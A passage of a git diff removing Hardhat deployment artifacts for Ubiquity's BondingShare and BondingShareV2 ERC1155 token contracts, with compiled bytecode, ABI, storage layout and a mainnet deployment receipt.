01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610e66911515815260200190565b60405180910390a35050565b610e7f85858585856118a3565b6001600160a01b03841660009081526004602052604090206106d390846117b7565b6001600160a01b038316331480610ebd5750610ebd8333610298565b610f1b5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610366565b610a29838383611ac4565b6001600160a01b038416610f865760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610366565b8151835114610fe85760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b6064820152608401610366565b33610ff881600087878787611b31565b60005b84518110156110af5783818151811061102457634e487b7160e01b600052603260045260246000fd5b602002602001015160008087848151811061104f57634e487b7160e01b600052603260045260246000fd5b602002602001015181526020019081526020016000206000886001600160a01b03166001600160a01b03168152602001908152602001600020600082825461109791906129ef565b909155508190506110a781612a86565b915050610ffb565b50846001600160a01b031660006001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb878760405161110092919061298a565b60405180910390a46106d381600087878787611b3f565b60005b8151811015610a29576000805b84548110156111a45783838151811061115057634e487b7160e01b600052603260045260246000fd5b602002602001015185828154811061117857634e487b7160e01b600052603260045260246000fd5b9060005260206000200154141561119257600191506111a4565b8061119c81612a86565b915050611127565b50806111eb57838383815181106111cb57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151825460018101845560009384529190922001555b50806111f681612a86565b91505061111a565b81518351146112605760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b6064820152608401610366565b6001600160a01b0384166112c45760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610366565b6001600160a01b0385163314806112e057506112e08533610298565b6113525760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f76656400000000000000000000000000006064820152608401610366565b33611361818787878787611b31565b60005b84518110156114f157600085828151811061138f57634e487b7160e01b600052603260045260246000fd5b6020026020010151905060008583815181106113bb57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038e16835290935291909120549091508181101561144e5760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b6064820152608401610366565b6114588282612a07565b60008085815260200190815260200160002060008c6001600160a01b03166001600160a01b03168152602001908152602001600020819055508160008085815260200190815260200160002060008b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546114d691906129ef565b92505081905550505050806114ea90612a86565b9050611364565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb878760405161154192919061298a565b60405180910390a4611557818787878787611b3f565b505050505050565b60035460ff166115b15760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610366565b6003805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60035460ff16156116415760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610366565b61164c838383611cf4565b60005b825181101561069e5781818151811061167857634e487b7160e01b600052603260045260246000fd5b6020026020010151600560008282546116919190612a07565b909155506116a0905081612a86565b905061164f565b6001600160a01b0384166117075760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610366565b336117278160008761171888611f64565b61172188611f64565b87611b31565b6000848152602081815260408083206001600160a01b0389168452909152812080548592906117579084906129ef565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a46106d381600087878787611fbd565b60005b825481101561180d57818382815481106117e457634e487b7160e01b600052603260045260246000fd5b906000526020600020015414156117fb5750611824565b8061180581612a86565b9150506117ba565b508154600181018355600083815260209020018190555b5050565b60035460ff161561186e5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610366565b6003805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586115de3390565b6001600160a01b0384166119075760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610366565b6001600160a01b03851633148061192357506119238533610298565b6119815760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610366565b3361199181878761171888611f64565b6000848152602081815260408083206001600160a01b038a16845290915290205483811015611a155760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b6064820152608401610366565b611a1f8482612a07565b6000868152602081815260408083206001600160a01b038c81168552925280832093909355881681529081208054869290611a5b9084906129ef565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4611abb828888888888611fbd565b50505050505050565b60035460ff1615611b0a5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610366565b611b158383836120c8565b8060056000828254611b279190612a07565b9091555050505050565b611557868686868686612249565b6001600160a01b0384163b156115575760405163bc197c8160e01b81526001600160a01b0385169063bc197c8190611b8390899089908890889088906004016128d6565b602060405180830381600087803b158015611b9d57600080fd5b505af1925050508015611bcd575060408051601f3d908101601f19168201909252611bca9181019061281d565b60015b611c8357611bd9612acd565b806308c379a01415611c135750611bee612ae4565b80611bf95750611c15565b8060405162461bcd60e51b815260040161036691906129b8565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560448201527f526563656976657220696d706c656d656e7465720000000000000000000000006064820152608401610366565b6001600160e01b0319811663bc197c8160e01b14611abb5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b6064820152608401610366565b6001600160a01b038316611d565760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610366565b8051825114611db85760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b6064820152608401610366565b6000339050611ddb81856000868660405180602001604052806000815250611b31565b60005b8351811015611f05576000848281518110611e0957634e487b7160e01b600052603260045260246000fd5b602002602001015190506000848381518110611e3557634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038c168352909352919091205490915081811015611ec15760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b6064820152608401610366565b611ecb8282612a07565b6000938452602084815260408086206001600160a01b038c1687529091529093209290925550819050611efd81612a86565b915050611dde565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051611f5692919061298a565b60405180910390a450505050565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110611fac57634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b6001600160a01b0384163b156115575760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e61906120019089908990889088908890600401612934565b602060405180830381600087803b15801561201b57600080fd5b505af192505050801561204b575060408051601f3d908101601f191682019092526120489181019061281d565b60015b61205757611bd9612acd565b6001600160e01b0319811663f23a6e6160e01b14611abb5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b6064820152608401610366565b6001600160a01b03831661212a5760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610366565b336121598185600061213b87611f64565b61214487611f64565b60405180602001604052806000815250611b31565b6000838152602081815260408083206001600160a01b0388168452909152902054828110156121d65760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b6064820152608401610366565b6121e08382612a07565b6000858152602081815260408083206001600160a01b038a811680865291845282852095909555815189815292830188905292938616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a45050505050565b60035460ff16156115575760405162461bcd60e51b815260206004820152602c60248201527f455243313135355061757361626c653a20746f6b656e207472616e736665722060448201527f7768696c652070617573656400000000000000000000000000000000000000006064820152608401610366565b80356001600160a01b03811681146103e457600080fd5b600082601f8301126122e9578081fd5b813560206122f6826129cb565b6040516123038282612a59565b8381528281019150858301600585901b87018401881015612322578586fd5b855b8581101561234057813584529284019290840190600101612324565b5090979650505050505050565b600082601f83011261235d578081fd5b813567ffffffffffffffff81111561237757612377612ab7565b60405161238e601f8301601f191660200182612a59565b8181528460208386010111156123a2578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156123cd578081fd5b6123d6826122c2565b9392505050565b600080604083850312156123ef578081fd5b6123f8836122c2565b9150612406602084016122c2565b90509250929050565b600080600080600060a08688031215612426578081fd5b61242f866122c2565b945061243d602087016122c2565b9350604086013567ffffffffffffffff80821115612459578283fd5b61246589838a016122d9565b9450606088013591508082111561247a578283fd5b61248689838a016122d9565b9350608088013591508082111561249b578283fd5b506124a88882890161234d565b9150509295509295909350565b600080600080600060a086880312156124cc578081fd5b6124d5866122c2565b94506124e3602087016122c2565b93506040860135925060608601359150608086013567ffffffffffffffff81111561250c578182fd5b6124a88882890161234d565b60008060006060848603121561252c578283fd5b612535846122c2565b9250602084013567ffffffffffffffff80821115612551578384fd5b61255d878388016122d9565b93506040860135915080821115612572578283fd5b5061257f868287016122d9565b9150509250925092565b6000806000806080858703121561259e578384fd5b6125a7856122c2565b9350602085013567ffffffffffffffff808211156125c3578485fd5b6125cf888389016122d9565b945060408701359150808211156125e4578384fd5b6125f0888389016122d9565b93506060870135915080821115612605578283fd5b506126128782880161234d565b91505092959194509250565b60008060408385031215612630578182fd5b612639836122c2565b9150602083013561264981612b76565b809150509250929050565b60008060408385031215612666578081fd5b61266f836122c2565b946020939093013593505050565b600080600060608486031215612691578081fd5b61269a846122c2565b95602085013595506040909401359392505050565b600080600080608085870312156126c4578182fd5b6126cd856122c2565b93506020850135925060408501359150606085013567ffffffffffffffff8111156126f6578182fd5b6126128782880161234d565b60008060408385031215612714578182fd5b823567ffffffffffffffff8082111561272b578384fd5b818501915085601f83011261273e578384fd5b8135602061274b826129cb565b6040516127588282612a59565b8381528281019150858301600585901b870184018b1015612777578889fd5b8896505b848710156127a05761278c816122c2565b83526001969096019591830191830161277b565b50965050860135925050808211156127b6578283fd5b506127c3858286016122d9565b9150509250929050565b6000602082840312156127de578081fd5b81516123d681612b76565b6000602082840312156127fa578081fd5b5051919050565b600060208284031215612812578081fd5b81356123d681612b87565b60006020828403121561282e578081fd5b81516123d681612b87565b60006020828403121561284a578081fd5b5035919050565b6000815180845260208085019450808401835b8381101561288057815187529582019590820190600101612864565b509495945050505050565b60008151808452815b818110156128b057602081850181015186830182015201612894565b818111156128c15782602083870101525b50601f01601f19169290920160200192915050565b60006001600160a01b03808816835280871660208401525060a0604083015261290260a0830186612851565b82810360608401526129148186612851565b90508281036080840152612928818561288b565b98975050505050505050565b60006001600160a01b03808816835280871660208401525084604083015283606083015260a0608083015261296c60a083018461288b565b979650505050505050565b6000602082526123d66020830184612851565b60006040825261299d6040830185612851565b82810360208401526129af8185612851565b95945050505050565b6000602082526123d6602083018461288b565b600067ffffffffffffffff8211156129e5576129e5612ab7565b5060051b60200190565b60008219821115612a0257612a02612aa1565b500190565b600082821015612a1957612a19612aa1565b500390565b600181811c90821680612a3257607f821691505b60208210811415612a5357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8201601f1916810167ffffffffffffffff81118282101715612a7f57612a7f612ab7565b6040525050565b6000600019821415612a9a57612a9a612aa1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d111561048157600481823e5160e01c90565b600060443d1015612af457610481565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715612b26575050505050610481565b8285019150815181811115612b4057505050505050610481565b843d8701016020828501011115612b5c57505050505050610481565b612b6b60208286010187612a59565b509094505050505090565b8015158114612b8457600080fd5b50565b6001600160e01b031981168114612b8457600080fdfea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "balanceOf(address,uint256)": { - "details": "See {IERC1155-balanceOf}. Requirements: - `account` cannot be the zero address." - }, - "balanceOfBatch(address[],uint256[])": { - "details": "See {IERC1155-balanceOfBatch}. Requirements: - `accounts` and `ids` must have the same length." - }, - "holderTokens(address)": { - "details": "array of token Id held by the msg.sender." - }, - "isApprovedForAll(address,address)": { - "details": "See {IERC1155-isApprovedForAll}." - }, - "pause()": { - "details": "Pauses all token transfers. See {ERC1155Pausable} and {Pausable-_pause}." - }, - "paused()": { - "details": "Returns true if the contract is paused, and false otherwise." - }, - "safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)": { - "details": "See {IERC1155-safeBatchTransferFrom}." - }, - "safeTransferFrom(address,address,uint256,uint256,bytes)": { - "details": "See {IERC1155-safeTransferFrom}." - }, - "setApprovalForAll(address,bool)": { - "details": "See {IERC1155-setApprovalForAll}." - }, - "supportsInterface(bytes4)": { - "details": "See {IERC165-supportsInterface}." - }, - "totalSupply()": { - "details": "Total amount of tokens in with a given id." - }, - "unpause()": { - "details": "Unpauses all token transfers. See {ERC1155Pausable} and {Pausable-_unpause}." - }, - "uri(uint256)": { - "details": "See {IERC1155MetadataURI-uri}. This implementation returns the same URI for *all* token types. It relies on the token type ID substitution mechanism https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. Clients calling this function must replace the `\\{id\\}` substring with the actual token type ID." - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": {}, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 485, - "contract": "contracts/BondingShare.sol:BondingShare", - "label": "_balances", - "offset": 0, - "slot": "0", - "type": "t_mapping(t_uint256,t_mapping(t_address,t_uint256))" - }, - { - "astId": 491, - "contract": "contracts/BondingShare.sol:BondingShare", - "label": "_operatorApprovals", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_address,t_mapping(t_address,t_bool))" - }, - { - "astId": 493, - "contract": "contracts/BondingShare.sol:BondingShare", - "label": "_uri", - "offset": 0, - "slot": "2", - "type": "t_string_storage" - }, - { - "astId": 385, - "contract": "contracts/BondingShare.sol:BondingShare", - "label": "_paused", - "offset": 0, - "slot": "3", - "type": "t_bool" - }, - { - "astId": 7200, - "contract": "contracts/BondingShare.sol:BondingShare", - "label": "manager", - "offset": 1, - "slot": "3", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 7205, - "contract": "contracts/BondingShare.sol:BondingShare", - "label": "_holderBalances", - "offset": 0, - "slot": "4", - "type": "t_mapping(t_address,t_array(t_uint256)dyn_storage)" - }, - { - "astId": 7207, - "contract": "contracts/BondingShare.sol:BondingShare", - "label": "_totalSupply", - "offset": 0, - "slot": "5", - "type": "t_uint256" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_array(t_uint256)dyn_storage": { - "base": "t_uint256", - "encoding": "dynamic_array", - "label": "uint256[]", - "numberOfBytes": "32" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_array(t_uint256)dyn_storage)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256[])", - "numberOfBytes": "32", - "value": "t_array(t_uint256)dyn_storage" - }, - "t_mapping(t_address,t_bool)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => bool)", - "numberOfBytes": "32", - "value": "t_bool" - }, - "t_mapping(t_address,t_mapping(t_address,t_bool))": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => mapping(address => bool))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_bool)" - }, - "t_mapping(t_address,t_uint256)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_mapping(t_uint256,t_mapping(t_address,t_uint256))": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => mapping(address => uint256))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_uint256)" - }, - "t_string_storage": { - "encoding": "bytes", - "label": "string", - "numberOfBytes": "32" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/BondingShareV2.json b/packages/contracts/dollar/deployments/mainnet/BondingShareV2.json deleted file mode 100644 index fff639959..000000000 --- a/packages/contracts/dollar/deployments/mainnet/BondingShareV2.json +++ /dev/null @@ -1,909 +0,0 @@ -{ - "address": "0x2dA07859613C14F6f05c97eFE37B9B4F212b5eF5", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "string", - "name": "uri", - "type": "string" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "ApprovalForAll", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "TransferBatch", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "TransferSingle", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "string", - "name": "value", - "type": "string" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "URI", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address[]", - "name": "accounts", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - } - ], - "name": "balanceOfBatch", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "burnBatch", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "getBond", - "outputs": [ - { - "components": [ - { - "internalType": "address", - "name": "minter", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpFirstDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "creationBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpAmount", - "type": "uint256" - } - ], - "internalType": "struct BondingShareV2.Bond", - "name": "", - "type": "tuple" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "holder", - "type": "address" - } - ], - "name": "holderTokens", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "address", - "name": "operator", - "type": "address" - } - ], - "name": "isApprovedForAll", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "amounts", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeBatchTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "setApprovalForAll", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalLP", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_bondId", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_lpAmount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_endBlock", - "type": "uint256" - } - ], - "name": "updateBond", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "uri", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - } - ], - "transactionHash": "0x2054ac0ef0b0bb2efa766f85bc6b2e22f04ebfbf17e00efb34000d5959a5447c", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x2dA07859613C14F6f05c97eFE37B9B4F212b5eF5", - "transactionIndex": 136, - "gasUsed": "2693711", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xf34cf36c207f17a4a44369352ca9d1a68dbd87d1192d8759adad1436bbc89f74", - "transactionHash": "0x2054ac0ef0b0bb2efa766f85bc6b2e22f04ebfbf17e00efb34000d5959a5447c", - "logs": [], - "blockNumber": 12931486, - "cumulativeGasUsed": "13591129", - "status": 1, - "byzantium": true - }, - "args": [ - "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "{\n \"name\": \"Bonding Share\",\n \"description\": \"Ubiquity Bonding Share V2\",\n \"image\": \"https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/\"\n }" - ], - "solcInputHash": "668ff4210658f4785fe4e4446814af17", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"},{\"internalType\":\"string\",\"name\":\"uri\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"ApprovalForAll\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Paused\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"values\",\"type\":\"uint256[]\"}],\"name\":\"TransferBatch\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"TransferSingle\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"URI\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Unpaused\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\"